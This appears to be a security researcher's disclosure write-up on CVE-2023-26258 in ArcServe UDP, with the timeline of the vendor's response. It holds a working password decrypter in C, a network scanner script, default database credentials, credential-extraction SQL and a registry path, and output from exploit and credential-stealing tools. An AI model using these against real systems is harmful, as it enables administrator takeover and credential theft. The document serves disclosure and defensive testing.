The function renamed to mandanga_buena is shown below:

Text
1800ea2b0  uint64_t mandanga_buena(void* arg1, int16_t* arg2)
1800ea2b0  {
1800ea2c5      int32_t rsi = 0;
1800ea2c7      void* const rbx = arg2;
1800ea2d5      if ((arg2 == 0 || (arg2 != 0 && 0 == *(int16_t*)arg2)))
1800ea2d2      {
1800ea2d7          rbx = "Please input a valid password";
1800ea2d7      }
1800ea2e9      int32_t var_18 = 0xf0000000;
1800ea2f3      BOOL rax = CryptAcquireContextW(((char*)arg1 + 8), nullptr, nullptr, *(int32_t*)((char*)arg1 + 0x20), 0xf0000000);
1800ea2fb      enum WIN32_ERROR rax_1;
1800ea2fb      BOOL rax_2;
1800ea2fb      uint64_t rax_4;
1800ea2fb      if (rax == 0)
1800ea2f9      {
1800ea2fd          rax_1 = GetLastError();
1800ea308          if (rax_1 == 0x80090016)
1800ea303          {
1800ea315              var_18 = 0xf0000008;
1800ea31f              rax_2 = CryptAcquireContextW(((char*)arg1 + 8), nullptr, nullptr, *(int32_t*)((char*)arg1 + 0x20), 0xf0000008);
1800ea315          }
1800ea327          if ((rax_1 != 0x80090016 || (rax_1 == 0x80090016 && rax_2 == 0)))
1800ea325          {
1800ea329              rax_4 = -1;
1800ea329          }
1800ea327      if ((rax != 0 || ((rax == 0 && rax_1 == 0x80090016) && rax_2 != 0)))
1800ea325      {
1800ea344          void* r15_1 = ((char*)arg1 + 0x10);
1800ea34d          var_18 = r15_1;
1800ea35a          if (CryptCreateHash(*(int64_t*)((char*)arg1 + 8), 0x8003, nullptr, 0, var_18) == 0)
1800ea358          {
1800ea35c              rax_4 = 0xfffffffe;
1800ea35c          }
1800ea363          else
1800ea363          {
1800ea363              int64_t rax_5 = -1;
1800ea379              bool cond:0_1;
1800ea379              do
1800ea379              {
1800ea370                  cond:0_1 = *(int16_t*)(((char*)rbx + (rax_5 << 1)) + 2) != 0;
1800ea375                  rax_5 = (rax_5 + 1);
1800ea375              } while (cond:0_1);
1800ea390              if (CryptHashData(*(int64_t*)r15_1, rbx, ((int32_t)(rax_5 + rax_5)), 0) == 0)
1800ea38e              {
1800ea392                  rax_4 = 0xfffffffd;
1800ea392              }
1800ea3aa              else
1800ea3aa              {
1800ea3aa                  var_18 = ((char*)arg1 + 0x18);
1800ea3bf                  if (CryptDeriveKey(*(int64_t*)((char*)arg1 + 8), *(int32_t*)((char*)arg1 + 0x24), *(int64_t*)r15_1, 0x1000004, var_18) == 0)
1800ea3b8                  {
1800ea3bf                      rsi = -4;
1800ea3bf                  }
1800ea3c2                  rax_4 = ((uint64_t)rsi);
1800ea3c2              }
1800ea3c2          }
1800ea3c2      }
1800ea3de      return rax_4;
1800ea3de  }

What this function does, step by step:

  • It receives two arguments: arg1, a structure holding cryptographic handles, and arg2, a pointer to a string.
  • If arg2 is null or points to an empty string, rbx is set to the literal "Please input a valid password". This is the key detail: when no password is supplied, a fixed, known string is used instead.
  • CryptAcquireContextW opens a Windows cryptographic provider. If it fails with the error code 0x80090016, the code retries with a different flag. This is routine setup.
  • CryptCreateHash creates a hash object, with 0x8003 selecting the algorithm.
  • The do ... while loop measures the length of the string in rbx by walking it two bytes at a time, which is how Windows stores text internally.
  • CryptHashData feeds that string into the hash.
  • CryptDeriveKey turns the hash into an encryption key, with 0x1000004 as a flag.
  • The return value is an error code, or zero on success.

The string Please input a valid password is used as the seed to build the key used later in CryptDecrypt. With that, a decrypter is straightforward:

C
#include <Windows.h>
#include <stdio.h>

int main(int argc, char** argv) {
	printf("\\t\\t-={ ArcServe Decryptor by Juan Manuel Fernandez (@TheXC3LL) }=-\\n\\n");
	HCRYPTPROV phProv = NULL;
	HCRYPTHASH phHash = NULL;
	HCRYPTKEY phKey = NULL;

	BYTE enc[] = { 133, 60, 97, 192, 158, 159, 25, 141, 58, 250, 174, 169, 141, 216, 104, 98 }; // Text to decrypt (base64 decode and take everything after 0x80 bytes)

	BYTE key[] = { 0x50, 0x00, 0x6C, 0x00, 0x65, 0x00, 0x61, 0x00, 0x73, 0x00, 0x65, 0x00, 0x20, 0x00, 0x69, 0x00, 0x6E, 0x00, 0x70, 0x00, 0x75, 0x00, 0x74, 0x00, 0x20, 0x00, 0x61, 0x00, 0x20, 0x00, 0x76, 0x00, 0x61, 0x00, 0x6C, 0x00, 0x69, 0x00, 0x64, 0x00, 0x20, 0x00, 0x70, 0x00, 0x61, 0x00, 0x73, 0x00, 0x73, 0x00, 0x77, 0x00, 0x6F, 0x00, 0x72, 0x00, 0x64, 0x00 };
	DWORD pdwDataLen = sizeof(enc);

	if (!CryptAcquireContextW(&phProv, NULL, NULL, PROV_RSA_AES, CRYPT_VERIFYCONTEXT)) {
		printf("[!] CryptAcquireContextW Failed!\\n");
		exit(-1);
	}
	if (!CryptCreateHash(phProv, CALG_MD5, NULL, 0, &phHash)) {
		printf("[!] CryptCreateHash Failed!\\n");
		exit(-1);
	}
	if (!CryptHashData(phHash, key, 58, 0)) {
		printf("[!] CryptHashData Failed!\\n");
		exit(-1);
	}
	if (!CryptDeriveKey(phProv, CALG_AES_256, phHash, 16777220, &phKey)) {
		printf("[!] CryptDeriveKey Failed!\\n");
		exit(-1);
	}
	CryptDecrypt(phKey, NULL, TRUE, 0, &enc, &pdwDataLen);
	printf("[+] Decrypted string: %S", enc);
}

Line by line:

  • The #include lines bring in the Windows cryptographic API and standard input/output.
  • phProv, phHash and phKey are handles: references to a cryptographic provider, a hash and a key. They start as NULL.
  • enc[] is the encrypted password as raw bytes. The comment explains how to get it: base64-decode the password value from the response and take everything after the first 0x80 bytes.
  • key[] is the fixed string Please input a valid password, written as bytes in the two-byte-per-character form Windows uses. The 0x00 bytes between letters are that padding.
  • pdwDataLen is set to the size of the encrypted data.
  • CryptAcquireContextW opens the provider, PROV_RSA_AES selecting one that supports AES.
  • CryptCreateHash with CALG_MD5 creates an MD5 hash object.
  • CryptHashData hashes the fixed key string, with 58 as its length in bytes.
  • CryptDeriveKey with CALG_AES_256 turns that hash into an AES-256 key. 16777220 is the same flag value seen in the disassembly.
  • CryptDecrypt decrypts enc in place and updates pdwDataLen to the plaintext length.
  • The final printf prints the decrypted password.

Because the key comes from a constant string that anyone can read in the program, the encryption adds no real protection: anyone who obtains the encrypted value can decrypt it.

Step 6: find other instances

By default ArcServe uses the instance name ARCSERVE_APP, so the SQL Browser Service can be abused: a broadcast packet to UDP 1434 will get a reply from any host running that instance. A broadcast is a message sent to every machine on the local network at once; the SQL Browser Service is a small helper that tells clients which database instances exist and on which port.

Python
#!/usr/bin/env python3
# ArcServeRadar by Juan Manuel Fernandez (@[redacted])

import sys
import threading
from scapy.all import *

udp_packet = bytearray.fromhex("0441524353455256455f415050") # ARCSERVE_APP

def ping(ip, iface, port):
    print("[*] Broadcasting")
    sendp(Ether()/IP(src=ip,dst="[redacted]")/UDP(dport=1434,sport=port)/Raw(load=udp_packet), verbose=False, iface=iface)

def check(pkt):
	origin = pkt[IP].src
	content = pkt[Raw].load
	if content != udp_packet:
		data = content[content.find(b"Server"):]
		print("\\t[+] " + origin + " => " + data.decode("utf-8"))

def monitor(iface, port):
	print("[*] Starting to monitor")
	sniff(prn=check, filter="port " + str(port), iface=iface)

if __name__ == "__main__":
    print("\\t\\t-=[ ArcServe Finder - @[redacted] ]=-\\n\\n")
    if len(sys.argv) != 4:
        print("[!] Error. Usage: python3 ArcServeRadar.py <interface> <originport> <originip>")
        exit(-1)
    iface = sys.argv[1]
    port = int(sys.argv[2])
    ip = sys.argv[3]
    x = threading.Thread(target=monitor, args=(iface,port,))
    x.start()
    ping(ip, iface, port)

What the script does:

  • scapy is a Python library for building and sending network packets by hand.
  • udp_packet is the bytes 0441524353455256455f415050. The comment says they spell ARCSERVE_APP: the first byte is a length, and the rest are the instance name in text.
  • ping builds a packet: an Ethernet frame, an IP packet from ip to the broadcast address [redacted], a UDP datagram to port 1434 from the chosen source port, and the raw payload. sendp sends it on the chosen network interface.
  • check runs on every packet the sniffer sees. It takes the sender address and the payload, ignores the packet if it is our own broadcast, and otherwise prints everything from the word Server onwards.
  • monitor starts the sniffer, filtered to the chosen port.
  • The main block checks that three arguments were given (interface, source port, source IP), starts the monitor in a background thread, then sends the broadcast.

Alternatively, the following default credentials can be used if they have not been changed:

Text
[MSSQL] Cleartext Username : arcserve_udp
[MSSQL] Cleartext Password : @rcserveP@ssw0rd

These are default database credentials. If nobody changed them, anyone who can reach the database can log in.

Running the scanner from a host on the local network:

Text
c:\\Users\\vagrant\\Desktop>python ArcServeRadar.py "Ethernet 2" 6969 [redacted]
                -=[ ArcServe Finder - @[redacted] ]=-

[*] Starting to monitor
[*] Broadcasting
WARNING: Mac address to reach destination not found. Using broadcast.
        [+] [redacted] => ServerName;KINGSLANDING;InstanceName;ARCSERVE_APP;IsClustered;No;Version;15.0.2000.5;tcp;62197;;
  • The command runs the script on interface Ethernet 2, from source port 6969, with [redacted] as the source address.
  • The warning about the MAC address is harmless: for a broadcast, the script does not need to look up a specific machine's hardware address.
  • The reply line is the useful part. It names the server KINGSLANDING, the instance ARCSERVE_APP, the version 15.0.2000.5, and the TCP port 62197 where the database listens.

With default database credentials, the IP and port from the reply can be used to read the username and password and to locate the ArcServe instances:

Text
psyconauta@insulanova:/tmp|⇒  python3 arcserve-dbpwn.py -target [redacted] -port 62197
		-=[ ArcServe credential retriever (from DB) - Juan Manuel Fernandez (@TheXC3LL) ]=-

[*] Connecting to the server
[*] Login with default creds
[*] Extracting credentials:
	[+] User: SEVENKINGDOMS\\vagrant
	[+] Password: {133, 60, 97, 192, 158, 159, 25, 141, 58, 250, 174, 169, 141, 216, 104, 98}; // Paste it to the decrypter
	[+] User: SEVENKINGDOMS\\vagrant
	[+] Password: {133, 60, 97, 192, 158, 159, 25, 141, 58, 250, 174, 169, 141, 216, 104, 98}; // Paste it to the decrypter
[*] Finding hosts:
	[+] [redacted] | kingslanding.[redacted] | Windows Server 2019 Datacenter Evaluation
	[+] [redacted] | kingslanding.[redacted] | NULL

 Have a nice day! ^_^
  • The tool connects to the database on the address and port found by the scanner.
  • It logs in with the default credentials.
  • It extracts two credential rows, both for SEVENKINGDOMS\\vagrant, each with the same encrypted password in byte form. The comment says to paste it into the decrypter.
  • It then lists hosts, showing the address, the hostname and the operating system.

All the passwords retrieved by the tools can be decrypted with ArcServeDecrypter.exe: edit the C code to add the array, compile and run it.

Text
C:\\Users\\vagrant>C:\\Users\\vagrant\\source\\repos\\ArcServeDecrypter\\x64\\Debug\\ArcServeDecrypter.exe
                -={ ArcServe Decryptor by Juan Manuel Fernandez (@TheXC3LL) }=-

[+] Decrypted string: vagrant

The output shows the decrypted password: vagrant.

Root cause

The web front end takes the protocol, host and port for the credential-validation WebService from the serialised GWT RPC object supplied by the client, and uses them to build the proxy client. Nothing ties those values to the server's own configuration, so an attacker who can edit the request in transit decides where the server sends its validation call. The same design exposes getVersionInfo without authentication, and the authUUID it returns is accepted by validateUserByUUID, which yields a session cookie.

The password protection is also weak: the encrypted password is returned by getLocalHostAsTrust to any holder of a session, and the decryption key is derived from the fixed string Please input a valid password rather than from a secret. The report does not describe any defence that would have stopped the bypass.

Impact

An attacker who can reach the administrative interface can obtain a valid administrator session without credentials, retrieve the administrator password in encrypted form, and decrypt it. The affected versions are 7.0 to 9.0. The same credentials can also be obtained through other paths when the vulnerability is patched, but those paths require privileges or default credentials: reading as_edge_connect_info and as_edge_host from MSSQL when the database still uses default credentials, or reading the AdminUser and AdminPassword values under HKEY_LOCAL_MACHINE\\SOFTWARE\\Arcserve\\Unified Data Protection\\Engine with enough privileges to use the Remote Registry service.

From the database

If the MSSQL database is still configured with the default credentials, two queries are enough. MSSQL is Microsoft's database server, and a query is a request written in SQL, the language databases understand.

SQL
select username,password from as_edge_connect_info;

This asks the table as_edge_connect_info for the stored usernames and passwords.

SQL
select ipaddress,rhostname,osdesc from as_edge_host;

This asks the table as_edge_host for addresses, hostnames and operating system descriptions, which shows where the ArcServe instances are.

From the registry

The credentials are also saved in the Windows Registry, the central store of settings on a Windows machine. If an attacker has a domain or local user with enough privileges, they can query it remotely using the Remote Registry service, a Windows feature that lets a machine read another machine's registry over the network. The locations are:

Key:

Text
HKEY_LOCAL_MACHINE\\SOFTWARE\\Arcserve\\Unified Data Protection\\Engine

Subkeys:

Text
`AdminUser`

`AdminPassword`

With local admin rights on the ArcServe server, the registry values can be read remotely:

Text
psyconauta@insulanova:/tmp|⇒  python3 arcserve-creds.py -u eddard.stark -p 'FightP3aceAndHonor!' -d [redacted] -target-ip [redacted]
		-=[ ArcServe Credential Stealer - (@TheXC3LL) ]=-
[+] Connecting to [redacted]
[+] Checking Remote Registry service status...
[+] Service is down!
[+] Starting Remote Registry service...
[+] Connecting to [redacted]
[+] Opening registry key
	[*] User: P3TWLADS11STD\\vagrant
	[*] Password: {133, 60, 97, 192, 158, 159, 25, 141, 58, 250, 174, 169, 141, 216, 104, 98}; // Paste it to the decrypter
[+] Stopping Remote Registry Service

Have a nice day! ^_^
  • The tool is given a username, a password, a domain and a target address.
  • It connects to the target and checks whether the Remote Registry service is running. It is not, so the tool starts it.
  • It opens the registry key and reads the stored user and encrypted password.
  • It stops the service again, to leave the machine as it found it.

On an unpatched instance, the whole chain can be run in one go:

Text
psyconauta@insulanova:/tmp|⇒  python3 exploit.py [redacted]
		-=[ ArcServe Pwner by Juan Manuel Fernandez (@TheXC3LL) ]=-

[*] Triggering info leak
	[+] AdminName: SEVENKINGDOMS\\vagrant
	[+] AuthUUID: 6bf37b8e-ac4f-487d-8d74-d6d0a8d9b8d1
[*] Getting a valid session
	[+] Session: AGENTJSESSIONID=[redacted]
[*] Doing an authenticated request to validate if session is valid
[*] Session is valid
	[+] Admin: SEVENKINGDOMS\\vagrant
	[+] Password: {133, 60, 97, 192, 158, 159, 25, 141, 58, 250, 174, 169, 141, 216, 104, 98} // Paste it to the decrypter

Have a happy hacking! ^_^
  • The tool triggers the information leak and prints the administrator name and the authUUID.
  • It uses the UUID to get a session and prints the session cookie.
  • It makes an authenticated request to check that the session really works.
  • It retrieves the administrator name and the encrypted password.

The tools are published on the MDSec GitHub repository for CVE-2023-26258. CVE stands for Common Vulnerabilities and Exposures: a public catalogue where each known vulnerability gets a permanent identifier, here CVE-2023-26258.

Disclosure timeline

A disclosure timeline records what happened between the researchers reporting a flaw and the vendor fixing it. Dates are as given in the report.

  • 09/02/2023: support ticket opened, with proofs of concept and general information shared.
  • 10/02/2023: support says the fault is in Tomcat. Tomcat is a common Java web server; the report records this answer without agreeing with it.
  • 14/02/2023: support insists on asking about a "Nessus report" or "Tomcat CVE" used for the vulnerability. Nessus is a commercial vulnerability scanner. The researchers replied explaining again where the vulnerability is and how to exploit it, having already shared proofs of concept.
  • 20/02/2023: the details were finally forwarded to someone with security knowledge.
  • 21/02/2023: the assigned CVE was shared with the ArcServe team.
  • 10/03/2023: asked about progress or an ETA for a patch. The reply was that there is no ETA and the issue was still being investigated internally.
  • 28/03/2023: ArcServe apologised for the delay but still needed more time to investigate.
  • 03/04/2023: ArcServe said a fix was being developed.
  • 06/04/2023: ArcServe said the patch would affect three main branches and asked how the researchers wanted to be credited, plus a few questions about legacy versions.
  • 06/04/2023: the questions about legacy versions were answered.
  • 09/05/2023: asked for an ETA or an update.
  • 24/05/2023: asked again for an ETA or an update. ArcServe said a date would be given soon.
  • 06/06/2023: asked again for an ETA or an update.
  • 21/06/2023: ArcServe indicated that a hotfix was prepared. A hotfix is a small, urgent patch.
  • 27/06/2023: ArcServe released the patch without credits.
From the original on mdsec.co.uk

Fix

ArcServe released a patch on 27/06/2023, after a hotfix was prepared on 21/06/2023. The report does not describe what the patch changed.

Variants to test

These are checks a tester can repeat on similar software. Each one states what a positive result looks like.

  1. Look for GWT RPC login endpoints whose serialised body carries a host, protocol or port, and edit those values to point at a listener you control. A positive result is a SOAP or HTTP request arriving at your listener with credentials or other data from the target.
  2. Call unauthenticated SOAP methods such as getVersionInfo on the same service and check whether the response leaks hostnames, OS versions, account names or UUIDs. A positive result is any of those values in the response.
  3. Take any UUID returned by an information-leak method and submit it to a validateUserByUUID-style method. A positive result is a Set-Cookie with a session identifier.
  4. With a session, call methods such as getLocalHostAsTrust and check whether encrypted secrets are returned. A positive result is a password field in the response.
  5. Reverse the decryption routine for any returned secret and check whether the key is derived from a constant string. A positive result is a decrypted plaintext from the fixed seed.
  6. Send a broadcast to UDP 1434 with the ARCSERVE_APP instance name and check for replies. A positive result is a ServerName;...;InstanceName;ARCSERVE_APP;... string with a TCP port.
  7. Try the default MSSQL credentials arcserve_udp / @rcserveP@ssw0rd against the port from the reply and query as_edge_connect_info and as_edge_host. A positive result is credential rows or host rows.
  8. With local admin rights, read AdminUser and AdminPassword under HKEY_LOCAL_MACHINE\\SOFTWARE\\Arcserve\\Unified Data Protection\\Engine through the Remote Registry service. A positive result is the encrypted password value.

Glossary

  • AES-256: a widely used symmetric encryption method that uses a 256-bit key.
  • Authentication bypass: a flaw that lets someone get past a login or identity check without valid credentials.
  • Base64: a way of writing binary data as plain text characters so it can travel inside text documents.
  • Broadcast: a network message sent to every machine on a local network at once.
  • Build number: the specific build of a software version, used to tell releases apart.
  • Cookie: a small piece of text a website asks a browser to store and send back with later requests.
  • CVE: Common Vulnerabilities and Exposures, a public catalogue giving each known vulnerability a permanent identifier.
  • Disassembly: the text listing of a compiled program's instructions, used in reverse engineering.
  • Disclosure timeline: a dated record of the steps between reporting a flaw and the vendor fixing it.
  • Domain: a group of computers and accounts managed together, here SEVENKINGDOMS.
  • ETA: estimated time of arrival, an estimate of when something will be ready.
  • GWT (Google Web Toolkit): a framework for building web applications whose browser and server exchange serialised messages.
  • GWT RPC: the protocol those GWT messages use.
  • Hash / hashing: turning any input into a fixed-length fingerprint; the same input always gives the same fingerprint.
  • Hotfix: a small, urgent patch for a specific problem.
  • HTTP / HTTPS: the protocols browsers use to talk to websites; HTTPS is the encrypted version.
  • Instance: one running copy of a software product, here named ARCSERVE_APP by default.
  • Intercepting proxy: a tool that sits between a browser and a server and lets you read, pause and edit requests.
  • JAR: a package file containing compiled Java code.
  • MD5: a hashing function that produces a fixed-length fingerprint.
  • MSSQL: Microsoft's database server.
  • Native function: code compiled for the machine itself rather than running inside a managed environment such as Java.
  • Port: a numbered door on a computer through which a service listens.
  • Proof of concept (PoC): a small demonstration that a vulnerability can actually be exploited.
  • Red team: security professionals hired to attack an organisation on purpose, with permission, to test its defences.
  • Registry: the central store of settings on a Windows machine.
  • Remote Registry service: a Windows feature that lets one machine read another machine's registry over the network.
  • Reverse engineering: working backwards from a compiled program to understand what it does.
  • Ransomware: malicious software that encrypts a victim's data and demands payment to unlock it.
  • Schema: in this report, whether HTTP or HTTPS is used.
  • Serialised object: data converted into a compact text or binary form so it can be sent between programs.
  • Session: the server-side memory of a logged-in user, tied to a session cookie.
  • Session cookie: a cookie that proves a user has a logged-in session.
  • SOAP: a standard XML format for structured requests between programs.
  • SQL: the language used to query databases.
  • SQL Browser Service: a helper service that tells clients which database instances exist and on which port.
  • Tomcat: a common Java web server.
  • UDP: a simple network protocol that sends packets without setting up a connection.
  • UUID: a long, random-looking identifier meant to be unique and hard to guess.
  • WebService: a program that other programs talk to over the network, usually with a structured format such as SOAP.
  • WSDL: a file describing a WebService's operations and the shape of their arguments.
  • XML: a text format made of tags in angle brackets, used to structure data.

Similar reports

View all

Same bug class and techniques, clearest first.

Broken access control

The lesson behind this report.

A user can do something their role should not allow: reach an admin function, act on a feature they have not paid for, or skip a permission check. IDOR is the special case where the object belongs to someone else.